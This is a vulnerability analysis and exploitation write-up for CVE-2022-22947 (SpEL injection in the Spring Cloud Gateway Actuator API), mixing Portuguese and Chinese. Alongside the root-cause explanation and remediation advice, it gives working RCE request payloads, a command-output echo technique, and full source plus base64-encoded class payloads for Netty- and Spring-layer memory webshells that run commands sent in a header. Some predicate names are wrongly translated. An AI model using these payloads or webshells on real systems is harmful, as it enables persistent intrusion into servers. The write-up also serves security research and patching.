
Análise detalhada e exploit para CVE-2022-22947, uma vulnerabilidade de execução remota de código no Spring Cloud Gateway via injeção de SpEL na API Actuator. Inclui PoC, injeção de shell de memória e análise da causa raiz.
Spring Cloud Gateway é um novo projeto do Spring Cloud, baseado em tecnologias como Spring 5.0, Spring Boot 2.0 e Project Reactor para o desenvolvimento de gateways. Ele visa fornecer uma maneira simples e eficaz de gerenciamento unificado de rotas de API para arquiteturas de microsserviços. Recentemente, o Spring Cloud Gateway foi alvo de uma grave vulnerabilidade RCE CVE. As informações do CVE mostram que, quando a aplicação ativa e expõe o endpoint Gateway Actuator do Spring Cloud Gateway, ela está sujeita a ataques de injeção remota de código. Um atacante pode enviar uma requisição maliciosa para executar remotamente qualquer código. As versões atualmente afetadas são:
Esta análise explora o princípio da vulnerabilidade e formas de exploração adicionais através da reprodução deste CVE.
Crie um projeto Maven com as seguintes dependências:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
Na configuração padrão do spring boot, apenas o endpoint health está aberto para a web. Se precisar abrir o gateway, é necessário configurá-lo manualmente. Consulte a [documentação oficial](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
Envie o seguinte POC:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

Em seguida, envie ```POST /actuator/gateway/refresh``` para atualizar as informações do cache de roteamento, acionando assim o POC:

## Análise do princípio
Observando o POC acima, primeiro é adicionada dinamicamente uma rota via ```POST /actuator/gateway/routes/test2```. Durante o processo de adição da rota, um filter processa os parâmetros de entrada e pode interpretar esse valor como uma expressão spel. Em seguida, ao atualizar o cache de roteamento, o POC é executado.
Primeiro, vejamos o mecanismo de configuração de roteamento dinâmico do Spring Cloud Gateway.
### Configuração de roteamento dinâmico
O Spring Cloud Gateway suporta o registro de rotas por meio de código/arquivos de configuração. Tomando como exemplo o [demo](https://spring.io/guides/gs/gateway/) oficial:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
A forma dos arquivos de configuração é semelhante ao código:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
As rotas adicionadas por esses dois métodos são fixas. Se for necessário adicionar, modificar ou excluir configurações e regras de rota, a aplicação deve ser reiniciada para que as alterações entrem em vigor. No entanto, na prática, o Spring Cloud Gateway, como ponto de entrada de todo o tráfego, precisa garantir alta disponibilidade do sistema. Portanto, após expor o endpoint /gateway, é possível adicionar, modificar e excluir dinamicamente informações de rota através de /gateway/routes. Porém, as informações de rota desse método existem apenas na memória; uma vez que o serviço seja reiniciado, as novas configurações de rota adicionadas serão perdidas.
A partir do formato de registro de rota acima, podemos ver que uma informação de rota inclui a URI de destino, uma coleção de filtros e uma coleção de predicados. Os predicados podem corresponder a qualquer conteúdo da solicitação HTTP (cabeçalhos, parâmetros). O Spring Cloud Gateway possui muitas classes de fábrica de predicados de rota integradas, como Before, After, Between, Cookie, Header, Host, [Path, etc.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).

Os filtros são usados para modificar a requisição ou resposta antes ou depois do envio da requisição. Eles também incluem muitos conjuntos de filtros internos. No payload que desencadeia o RCE acima, o filtro que usamos foi o AddResponseHeader. Outros filtros incluem RewritePath, SetPath, etc. Existem dois tipos de filtros: um é o GlobalFilter, que é efetivo para todas as rotas, e o outro é o GatewayFilter, que é efetivo apenas para uma única rota. Para mais detalhes, consulte https://www.cnblogs.com/duanxz/p/14780675.html.
,
## Fluxo da requisição
Então, qual é o fluxo específico quando uma requisição chega, passa pelo gateway e vai para o serviço proxy (proxied service) no backend? O fluxo no documento oficial é o seguinte:

O cliente envia uma requisição ao Spring Cloud Gateway. Em seguida, no GateWay Handler Mapping, encontra a rota correspondente à requisição e a envia para o GateWay Web Handler. O Handler, por sua vez, envia a requisição através da cadeia de filtros especificada para o nosso serviço real executar a lógica de negócios e depois retorna. Os filtros são separados por linhas tracejadas porque os filtros podem executar a lógica de negócios antes (pre) ou depois (post) do envio da requisição proxy.
RoutePredicateHandlerMapping encontra a rota e, em seguida, é processado pelo webHandler:

No webHandler, após encontrar os gatewayFilters e globalFilters, eles são ordenados de acordo com o valor Order definido no filtro para formar uma filterchain e, em seguida, todos os filtros são executados.

### Registro de rota dinâmica
A seguir, vamos dar uma olhada específica em por que a execução do SpEL é acionada ao adicionar uma rota através do endpoint do gateway.```POST /actuator/gateway/routes/{id}```添加路由时首先校验route定义中的filter和predicates,校验方式是检查filterName和predicatesName是否在已定义的filter集合和predicates集合内,校验通过之后将该路由信息保存到内存路由信息map中:



然后刷新路由缓存时,经过如下的调用栈后在RouteDefinitionRouteLocator.convertToRoute()方法中分别解析route定义中的predicates和filter:
```text
at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator.convertToRoute(RouteDefinitionRouteLocator.java:116)
at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$883.729787591.apply(Unknown Source:-1)
... // Mecanismo de publisher e subscriber do Spring WebFlux
at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:81)
at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:40)
at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:176)
at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:169)
at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:143)
at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:421)
at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:378)
at org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint.refresh(AbstractGatewayControllerEndpoint.java:96)```

解析filter的过程中根据定义中的filterName获取到对应的GatewayFilterFactory,然后进入ConfigurationService将各属性键值绑定之前会先进行normalizedProperties处理,处理的过程中对value进行了spel解析后再进行绑定:


在上面的整个过程中,保存路由信息的时候会校验route定义中的filter是否合法,合法才会把路由信息保存到内存map中,而且在刷新之后解析路由的时候也校验了是否能根据定义中的filterName获取到对应的GatewayFilterFactory,能获取到才进行属性键值绑定处理,所以漏洞触发可使用的filter就包括了已定义的所有合法filter:

```text
0 = "SetPath"
1 = "RequestHeaderToRequestUri"
2 = "RequestHeaderSize"
3 = "RemoveRequestHeader"
4 = "RemoveRequestParameter"
5 = "ModifyRequestBody"
6 = "AddRequestParameter"
7 = "RewriteLocationResponseHeader"
8 = "MapRequestHeader"
9 = "DedupeResponseHeader"
10 = "PreserveHostHeader"
11 = "RewritePath"
12 = "SetStatus"
13 = "SetRequestHeader"
14 = "PrefixPath"
15 = "SetRequestHostHeader"
16 = "SaveSession"
17 = "StripPrefix"
18 = "ModifyResponseBody"
19 = "RequestSize"
20 = "RedirectTo"
21 = "SetResponseHeader"
22 = "SecureHeaders"
23 = "AddResponseHeader"
24 = "Retry"
25 = "AddRequestHeader"
26 = "RemoveResponseHeader"
27 = "RewriteResponseHeader"```
上面是利用filter触发漏洞的整体过程,我们看到路由定义中的predicates的处理过程跟filter是类似的,那么predicates是否也能触发漏洞呢?已定义的所有predicates集合是不是也都可以用呢?
把payload中的predicates换上payload试试:

也是能成功触发的,可以利用的predicates集合包括以下已定义的所有predicates:

```text
0 = "Depois"
1 = "Antes"
2 = "Entre"
3 = "Cookie"
4 = "Cabeçalho"
5 = "Host"
6 = "Método"
7 = "Caminho"
8 = "Consulta"
9 = "ReadBody"
10 = "RemoteAddr"
11 = "Peso"
12 = "CloudFoundryRouteService"```
综上,只要在添加路由的过程中使用的filters或者predicates的name值合法,当传入包含payload的spel表达式值时都可触发该漏洞。
## 漏洞利用
### 回显
上面的value经过spel解析之后的结果绑定到属性的value的时候,必须是String类型,上面提到的GatewayFilter中有一些是跟响应有关的如SetResponseHeader/AddResponseHeader等,所以可以利用这些响应相关的filter来完成利用后的回显:
```text
POST /actuator/gateway/routes/test4 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 422
Content-Type: application/json
{
"id": "test3",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/test4"}
}],
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(java.util.Base64).getEncoder().encodeToString(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream().readAllBytes())}"
}
}],
"uri": "http://127.0.0.1:9999/test4",
"order": 0
}]```

### 内存马
#### netty层内存马
以下内容参考了[这篇文章](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/)
常规中间件的内存马的构造思路:首先分析涉及处理请求的对象,通过它的源码看看是否能获取请求内容以及能否控制响应内容。然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即可。
spring cloud gateway的web服务是netty+spring构建的,netty的web服务没有遵循servlet规范来设计。不像常规的中间件,filter/servlet/listener组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是ChannelPipelineConfigurer(下面简称为configurer),因此注入netty内存马的关键是分析configurer如何被netty管理和工作的。最终netty层的内存马如下:
```java
```java
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;
public class NettyMemShell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
private ConnectionObserver connectionObserver;
private Channel channel;
private SocketAddress socketAddress;
public static String doInject(){
String msg = "inject-start";
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemShell());
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
@Override
// Step1. Como um ChannelPipelineConfigurer registra o Handler no pipeline
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
this.connectionObserver = connectionObserver;
this.channel = channel;
this.socketAddress = socketAddress;
ChannelPipeline pipeline = channel.pipeline();
// Adiciona o handler do shell de memória antes do handler da camada Spring
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemShell());
}
@Override
// Step2. Como Handler processa requisições, aqui implementa a lógica funcional do shell de memória
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest)msg;
try {
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
// Retorna o resultado da execução
send(ctx, execResult, HttpResponseStatus.OK);
return;
}
}catch (Exception e){
e.printStackTrace();
}
}
ctx.fireChannelRead(msg);
}
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
POC如下:
POST /actuator/gateway/routes/test5 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 8243
Content-Type: application/json
{
"id": "test5",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/test5"}
}],
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADcBFAoAQQB8CA...\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}"
}
}],
"uri": "http://127.0.0.1:9999/test5",
"order": 0
}]```
#### Spring层内存马
Spring cloud gateway主要的路由分发主要由org.springframework.web.reactive.DispatcherHandler类和它三个组件来完成
* org.springframework.web.reactive.HandlerMapping 路由匹配器
* org.springframework.web.reactive.HandlerAdapter handler适配器
* org.springframework.web.reactive.HandlerResultHandler 结果处理器

基于这个流程,我们可以梳理出一个构造内存马的思路。让HandlerMapping注册一个映射关系,通过映射关系让特定的HandlerAdapter执行到我们的内存马流程,最后内存马返回一个HandlerResultHandler可以处理的结果类型即可。最终利用RequestMappingHandlerMapping类形成的内存马如下:
```java
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}```
POC:
```text
POST /actuator/gateway/routes/test6 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 5148
Content-Type: application/json
{
"id": "test6",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/test6"}
}],
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADcAigoABgBHCABICgAGAEkIADAHAEoHAEsHAEwHAE0KAAUATgoABwBPBwBQCAAyBwBRBwBSCgAOAEcIAFMKAA4AVAcAVQcAVgoAEgBXCABYCgAIAFkKAAsARwoABwBaCABbBwBcCABdBwBeCgBfAGAKAF8AYQoAYgBjCgAcAGQIAGUKABwAZgoAHABnBwBoCQBpAGoKACQAawEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAGwBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAnACgBAAxpbmplY3Qtc3RhcnQMAG0AbgEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwAbwBwDABxAHIBABxTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsAQAQamF2YS9sYW5nL1N0cmluZwEANm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVyblBhcnNlcgEAAi8qDABzAHQBAEpvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVybgwAJwB1AQAADAAnAHYMAHcAeAEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEADGluamVjdC1lcnJvcgEAEWphdmEvdXRpbC9TY2FubmVyBwB5DAB6AHsMAHwAfQcAfgwAfwCADAAnAIEBAAJcQQwAggCDDACEAIUBACdvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHkHAIYMAIcAiAwAJwCJAQATamF2YS9pby9JT0V4Y2VwdGlvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAFcGFyc2UBAEYoTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQA2KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvdXRpbC9wYXR0ZXJuL1BhdGhQYXR0ZXJuOylWAQIkKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAjb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXMBAAJPSwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czsBADooTGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOylWACEACwAGAAAAAAADAAEAJwAoAAEAKQAAAC8AAQABAAAABSq3AAGxAAAAAgAqAAAABgABAAAADwArAAAADAABAAAABQAsAC0AAAAJAC4ALwABACkAAAFTAAoABwAAAJISAkwqtgADEgQGvQAFWQMSBlNZBBIHU1kFEghTtgAJTSwEtgAKEgsSDAS9AAVZAxINU7YACU67AA5ZtwAPEhC2ABE6BLsAElkEvQATWQMZBFO3ABQ6BbsACFkSFRkFAQEBAQEBtwAWOgYsKga9AAZZA7sAC1m3ABdTWQQtU1kFGQZTtgAYVxIZTKcAB00SG0wrsAABAAMAiQCMABoAAwAqAAAANgANAAAAEQADABMAIAAUACUAFQA2ABYARAAXAFYAGABpABkAhgAaAIkAHQCMABsAjQAcAJAAHgArAAAAUgAIACAAaQAwADEAAgA2AFMAMgAxAAMARABFADMANAAEAFYAMwA1ADYABQBpACAANwA4AAYAjQADADkAOgACAAAAkgA7ADwAAAADAI8APQA+AAEAPwAAABMAAv8AjAACBwAGBwANAAEHABoDAAEAMgBAAAIAKQAAAGgABAADAAAAJrsAHFm4AB0rtgAetgAftwAgEiG2ACK2ACNNuwAkWSyyACW3ACawAAAAAgAqAAAACgACAAAAIgAaACMAKwAAACAAAwAAACYALAAtAAAAAAAmAEEAPgABABoADABCAD4AAgBDAAAABAABAEQAAQBFAAAAAgBG\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}"
}
}],
"uri": "http://127.0.0.1:9999/test6",
"order": 0
}]```
其中的requestMappingHandlerMapping的获取方式比较巧妙,直接从SPEL上下文的beanFactory中获取:

## 漏洞修复
* 如果可以的话关闭Actuator gateway的暴露,这样至少只要不是能控制配置文件,就能避免远程代码执行(通过配置文件注册的路由也会走到上面spel解析的地方);
* 升级版本(官方修复方式:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e )
2.x 与 3.x 版本的区别
在产生漏洞的核心点上,二者没有区别,都是 ShortcutConfigurable 接口的 getValue 方法中使用了 StandardEvaluationContext 类来执行 SpEL 表达式。
第一个区别在于,2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。
第二个区别在于对此方法的调用链。通过查找源代码可知,只有 ConfigurationService 类的内部类 ConfigurableBuilder 的 normalizeProperties 方法(重写了父类中的方法)中调用了 normalize 方法。而 ConfigurableBuilder 类继承自内部抽象类 AbstractBuilder。AbstractBuilder 类中有一公有方法 bind 调用了 normalizeProperties 方法。
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://www.cnblogs.com/duanxz/p/14780675.html
https://mp.weixin.qq.com/s/w3et7TzqZ4ctyybEWQ82HQ
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/